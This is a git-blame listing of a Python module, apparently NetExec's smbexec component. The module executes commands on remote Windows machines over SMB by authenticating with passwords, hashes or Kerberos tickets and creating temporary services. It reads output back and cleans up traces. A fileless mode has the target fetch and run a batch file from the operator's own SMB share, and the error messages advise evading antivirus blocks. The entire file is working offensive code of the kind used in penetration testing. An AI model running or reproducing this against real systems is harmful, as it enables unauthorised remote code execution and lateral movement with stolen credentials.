2022-07-18 23:59:14 +00:00
#!/usr/bin/env python3
2016-09-12 06:52:50 +00:00
import os
2023-05-05 18:37:20 +00:00
from os . path import join as path_join
2020-11-15 23:42:28 +00:00
from time import sleep
2016-05-16 23:48:31 +00:00
from impacket . dcerpc . v5 import transport , scmr
2023-09-14 21:07:15 +00:00
from nxc . helpers . misc import gen_random_string
2020-05-03 18:30:41 +00:00
from impacket . dcerpc . v5 . rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
2016-05-16 23:48:31 +00:00
2023-03-30 20:36:58 +00:00
class SMBEXEC :
2023-09-23 01:10:21 +00:00
def __init__ ( self , host , share_name , smbconnection , protocol , username = " " , password = " " , domain = " " , doKerberos = False , aesKey = None , kdcHost = None , hashes = None , share = None , port = 445 , logger = None , tries = None ) :
2016-05-16 23:48:31 +00:00
self . __host = host
2021-09-21 12:12:42 +00:00
self . __share_name = " C$ "
2016-08-01 09:36:58 +00:00
self . __port = port
2016-05-16 23:48:31 +00:00
self . __username = username
self . __password = password
self . __serviceName = gen_random_string ( )
self . __domain = domain
2023-05-02 15:17:59 +00:00
self . __lmhash = " "
self . __nthash = " "
2016-05-16 23:48:31 +00:00
self . __share = share
2021-09-21 12:12:42 +00:00
self . __smbconnection = smbconnection
2016-08-01 09:36:58 +00:00
self . __output = None
self . __batchFile = None
2023-05-02 15:17:59 +00:00
self . __outputBuffer = b " "
self . __shell = " % COMSPEC % /Q /c "
2016-05-16 23:48:31 +00:00
self . __retOutput = False
self . __rpctransport = None
self . __scmr = None
self . __conn = None
2020-05-04 17:22:10 +00:00
self . __aesKey = aesKey
2020-05-03 18:30:41 +00:00
self . __doKerberos = doKerberos
2020-05-04 17:22:10 +00:00
self . __kdcHost = kdcHost
2023-08-17 09:53:57 +00:00
self . __tries = tries
2023-05-09 13:55:10 +00:00
self . logger = logger
2016-05-16 23:48:31 +00:00
if hashes is not None :
2023-05-02 15:17:59 +00:00
# This checks to see if we didn't provide the LM Hash
if hashes . find ( " : " ) != - 1 :
self . __lmhash , self . __nthash = hashes . split ( " : " )
2016-05-16 23:48:31 +00:00
else :
self . __nthash = hashes
if self . __password is None :
2023-05-02 15:17:59 +00:00
self . __password = " "
2016-05-16 23:48:31 +00:00
2023-09-24 04:06:51 +00:00
stringbinding = f " ncacn_np: { self . __host } [ \\ pipe \\ svcctl] "
self . logger . debug ( f " StringBinding { stringbinding } " )
2016-05-16 23:48:31 +00:00
self . __rpctransport = transport . DCERPCTransportFactory ( stringbinding )
2016-08-01 09:36:58 +00:00
self . __rpctransport . set_dport ( self . __port )
2016-12-15 07:28:00 +00:00
2023-05-02 15:17:59 +00:00
if hasattr ( self . __rpctransport , " setRemoteHost " ) :
2016-08-02 14:49:30 +00:00
self . __rpctransport . setRemoteHost ( self . __host )
2023-05-02 15:17:59 +00:00
if hasattr ( self . __rpctransport , " set_credentials " ) :
2016-05-16 23:48:31 +00:00
# This method exists only for selected protocol sequences.
2023-05-02 15:17:59 +00:00
self . __rpctransport . set_credentials (
self . __username ,
self . __password ,
self . __domain ,
self . __lmhash ,
self . __nthash ,
self . __aesKey ,
)
2020-05-03 18:30:41 +00:00
self . __rpctransport . set_kerberos ( self . __doKerberos , self . __kdcHost )
2016-05-16 23:48:31 +00:00
self . __scmr = self . __rpctransport . get_dce_rpc ( )
2020-05-03 18:30:41 +00:00
if self . __doKerberos :
self . __scmr . set_auth_type ( RPC_C_AUTHN_GSS_NEGOTIATE )
2016-05-16 23:48:31 +00:00
self . __scmr . connect ( )
s = self . __rpctransport . get_smb_connection ( )
# We don't wanna deal with timeouts from now on.
s . setTimeout ( 100000 )
self . __scmr . bind ( scmr . MSRPC_UUID_SCMR )
resp = scmr . hROpenSCManagerW ( self . __scmr )
2023-05-02 15:17:59 +00:00
self . __scHandle = resp [ " lpScHandle " ]
2016-05-16 23:48:31 +00:00
def execute ( self , command , output = False ) :
self . __retOutput = output
2020-04-27 20:37:01 +00:00
if os . path . isfile ( command ) :
with open ( command ) as commands :
for c in commands :
2021-09-21 12:12:42 +00:00
self . execute_remote ( c . strip ( ) )
2020-04-27 20:37:01 +00:00
else :
2021-09-21 12:12:42 +00:00
self . execute_remote ( command )
2016-05-16 23:48:31 +00:00
self . finish ( )
2022-04-26 13:58:03 +00:00
return self . __outputBuffer
2016-05-16 23:48:31 +00:00
2016-09-12 06:52:50 +00:00
def output_callback ( self , data ) :
2020-04-22 15:04:22 +00:00
self . __outputBuffer + = data
2016-05-16 23:48:31 +00:00
2021-09-21 12:12:42 +00:00
def execute_remote ( self , data ) :
self . __output = gen_random_string ( 6 )
2023-04-12 04:25:38 +00:00
self . __batchFile = gen_random_string ( 6 ) + " .bat "
2021-09-21 12:12:42 +00:00
2023-10-14 19:56:22 +00:00
command = self . __shell + " echo " + data + f " ^> \\ \\ 127.0.0.1 \\ { self . __share_name } \\ { self . __output } 2^>^&1 > %TEMP% \\ { self . __batchFile } & %COMSPEC% /Q /c %TEMP% \\ { self . __batchFile } & %COMSPEC% /Q /c del %TEMP% \\ { self . __batchFile } " if self . __retOutput else self . __shell + data
2021-09-21 12:12:42 +00:00
2023-09-14 21:07:15 +00:00
with open ( path_join ( " /tmp " , " nxc_hosted " , self . __batchFile ) , " w " ) as batch_file :
2021-09-21 12:12:42 +00:00
batch_file . write ( command )
2023-04-12 04:25:38 +00:00
self . logger . debug ( " Hosting batch file with command: " + command )
2021-09-21 12:12:42 +00:00
2023-04-12 04:25:38 +00:00
self . logger . debug ( " Command to execute: " + command )
2021-09-21 12:12:42 +00:00
2023-04-12 04:25:38 +00:00
self . logger . debug ( f " Remote service { self . __serviceName } created. " )
2023-09-23 01:10:21 +00:00
2023-08-16 10:00:10 +00:00
try :
resp = scmr . hRCreateServiceW (
self . __scmr ,
self . __scHandle ,
self . __serviceName ,
self . __serviceName ,
lpBinaryPathName = command ,
dwStartType = scmr . SERVICE_DEMAND_START ,
)
service = resp [ " lpServiceHandle " ]
except Exception as e :
if " rpc_s_access_denied " in str ( e ) :
self . logger . fail ( " SMBEXEC: Create services got blocked. " )
else :
2023-08-19 13:35:55 +00:00
self . logger . fail ( str ( e ) )
2023-09-23 01:10:21 +00:00
2023-08-19 13:35:55 +00:00
return self . __outputBuffer
2021-09-21 12:12:42 +00:00
try :
2023-04-12 04:25:38 +00:00
self . logger . debug ( f " Remote service { self . __serviceName } started. " )
2021-09-21 12:12:42 +00:00
scmr . hRStartServiceW ( self . __scmr , service )
2023-08-19 13:35:55 +00:00
self . logger . debug ( f " Remote service { self . __serviceName } deleted. " )
scmr . hRDeleteService ( self . __scmr , service )
scmr . hRCloseServiceHandle ( self . __scmr , service )
2023-10-15 17:31:51 +00:00
except Exception :
2023-05-02 15:17:59 +00:00
pass
2023-08-19 13:35:55 +00:00
2023-05-02 15:17:59 +00:00
self . get_output_remote ( )
2023-10-14 18:16:28 +00:00
return None
2021-09-21 12:12:42 +00:00
def get_output_remote ( self ) :
if self . __retOutput is False :
2023-05-02 15:17:59 +00:00
self . __outputBuffer = " "
2021-09-21 12:12:42 +00:00
return
2023-08-17 09:53:57 +00:00
tries = 1
2021-09-21 12:12:42 +00:00
while True :
try :
2023-08-16 07:48:23 +00:00
self . logger . info ( f " Attempting to read { self . __share } \\ { self . __output } " )
2023-05-08 18:39:36 +00:00
self . __smbconnection . getFile ( self . __share , self . __output , self . output_callback )
2021-09-21 12:12:42 +00:00
break
except Exception as e :
2023-08-17 09:53:57 +00:00
if tries > = self . __tries :
2023-09-22 03:42:54 +00:00
self . logger . fail ( " SMBEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option ' --get-output-tries ' . If it is still failing, try the ' wmi ' protocol or another exec method " )
2023-08-16 04:16:48 +00:00
break
2023-09-22 03:42:54 +00:00
if str ( e ) . find ( " STATUS_BAD_NETWORK_NAME " ) > 0 :
2023-09-13 22:29:55 +00:00
self . logger . fail ( f " SMBEXEC: Getting the output file failed - target has blocked access to the share: { self . __share } (but the command may have executed!) " )
2023-08-16 07:48:23 +00:00
break
2023-08-16 04:16:48 +00:00
if str ( e ) . find ( " STATUS_SHARING_VIOLATION " ) > = 0 or str ( e ) . find ( " STATUS_OBJECT_NAME_NOT_FOUND " ) > = 0 :
2021-09-21 12:12:42 +00:00
# Output not finished, let's wait
sleep ( 2 )
2023-08-17 09:53:57 +00:00
tries + = 1
2021-09-21 12:12:42 +00:00
else :
2023-08-16 07:48:23 +00:00
self . logger . debug ( str ( e ) )
2023-09-23 01:10:21 +00:00
2023-08-16 04:16:48 +00:00
if self . __outputBuffer :
2023-08-16 07:48:23 +00:00
self . logger . debug ( f " Deleting file { self . __share } \\ { self . __output } " )
2023-08-16 04:16:48 +00:00
self . __smbconnection . deleteFile ( self . __share , self . __output )
2021-09-21 12:12:42 +00:00
2016-09-12 06:52:50 +00:00
def execute_fileless ( self , data ) :
self . __output = gen_random_string ( 6 )
2023-04-12 04:25:38 +00:00
self . __batchFile = gen_random_string ( 6 ) + " .bat "
2016-09-12 06:52:50 +00:00
local_ip = self . __rpctransport . get_socket ( ) . getsockname ( ) [ 0 ]
2016-08-01 09:36:58 +00:00
2023-10-14 19:56:22 +00:00
command = self . __shell + data + f " ^> \\ \\ { local_ip } \\ { self . __share_name } \\ { self . __output } " if self . __retOutput else self . __shell + data
2016-09-12 06:52:50 +00:00
2023-09-14 21:07:15 +00:00
with open ( path_join ( " /tmp " , " nxc_hosted " , self . __batchFile ) , " w " ) as batch_file :
2016-09-12 06:52:50 +00:00
batch_file . write ( command )
2023-04-12 04:25:38 +00:00
self . logger . debug ( " Hosting batch file with command: " + command )
2016-05-16 23:48:31 +00:00
2023-05-08 18:39:36 +00:00
command = self . __shell + f " \\ \\ { local_ip } \\ { self . __share_name } \\ { self . __batchFile } "
2023-04-12 04:25:38 +00:00
self . logger . debug ( " Command to execute: " + command )
2016-08-01 09:36:58 +00:00
2023-04-12 04:25:38 +00:00
self . logger . debug ( f " Remote service { self . __serviceName } created. " )
2023-05-02 15:17:59 +00:00
resp = scmr . hRCreateServiceW (
self . __scmr ,
self . __scHandle ,
self . __serviceName ,
self . __serviceName ,
lpBinaryPathName = command ,
dwStartType = scmr . SERVICE_DEMAND_START ,
)
2023-04-12 04:25:38 +00:00
service = resp [ " lpServiceHandle " ]
2016-05-16 23:48:31 +00:00
try :
2023-04-12 04:25:38 +00:00
self . logger . debug ( f " Remote service { self . __serviceName } started. " )
2017-08-04 18:18:39 +00:00
scmr . hRStartServiceW ( self . __scmr , service )
2023-10-06 16:47:49 +00:00
except Exception :
2023-05-02 15:17:59 +00:00
pass
2023-04-12 04:25:38 +00:00
self . logger . debug ( f " Remote service { self . __serviceName } deleted. " )
2016-05-16 23:48:31 +00:00
scmr . hRDeleteService ( self . __scmr , service )
scmr . hRCloseServiceHandle ( self . __scmr , service )
2016-09-12 06:52:50 +00:00
self . get_output_fileless ( )
def get_output_fileless ( self ) :
2023-04-12 04:25:38 +00:00
if not self . __retOutput :
return
2016-09-12 06:52:50 +00:00
while True :
try :
2023-09-14 21:07:15 +00:00
with open ( path_join ( " /tmp " , " nxc_hosted " , self . __output ) , " rb " ) as output :
2016-09-12 06:52:50 +00:00
self . output_callback ( output . read ( ) )
break
2023-10-12 21:06:04 +00:00
except OSError :
2016-09-12 06:52:50 +00:00
sleep ( 2 )
2016-05-16 23:48:31 +00:00
def finish ( self ) :
# Just in case the service is still created
try :
2023-05-02 15:17:59 +00:00
self . __scmr = self . __rpctransport . get_dce_rpc ( )
self . __scmr . connect ( )
self . __scmr . bind ( scmr . MSRPC_UUID_SCMR )
resp = scmr . hROpenSCManagerW ( self . __scmr )
self . __scHandle = resp [ " lpScHandle " ]
resp = scmr . hROpenServiceW ( self . __scmr , self . __scHandle , self . __serviceName )
service = resp [ " lpServiceHandle " ]
scmr . hRDeleteService ( self . __scmr , service )
scmr . hRControlService ( self . __scmr , service , scmr . SERVICE_CONTROL_STOP )
scmr . hRCloseServiceHandle ( self . __scmr , service )
2023-10-06 16:47:49 +00:00
except Exception :
2016-05-16 23:48:31 +00:00
pass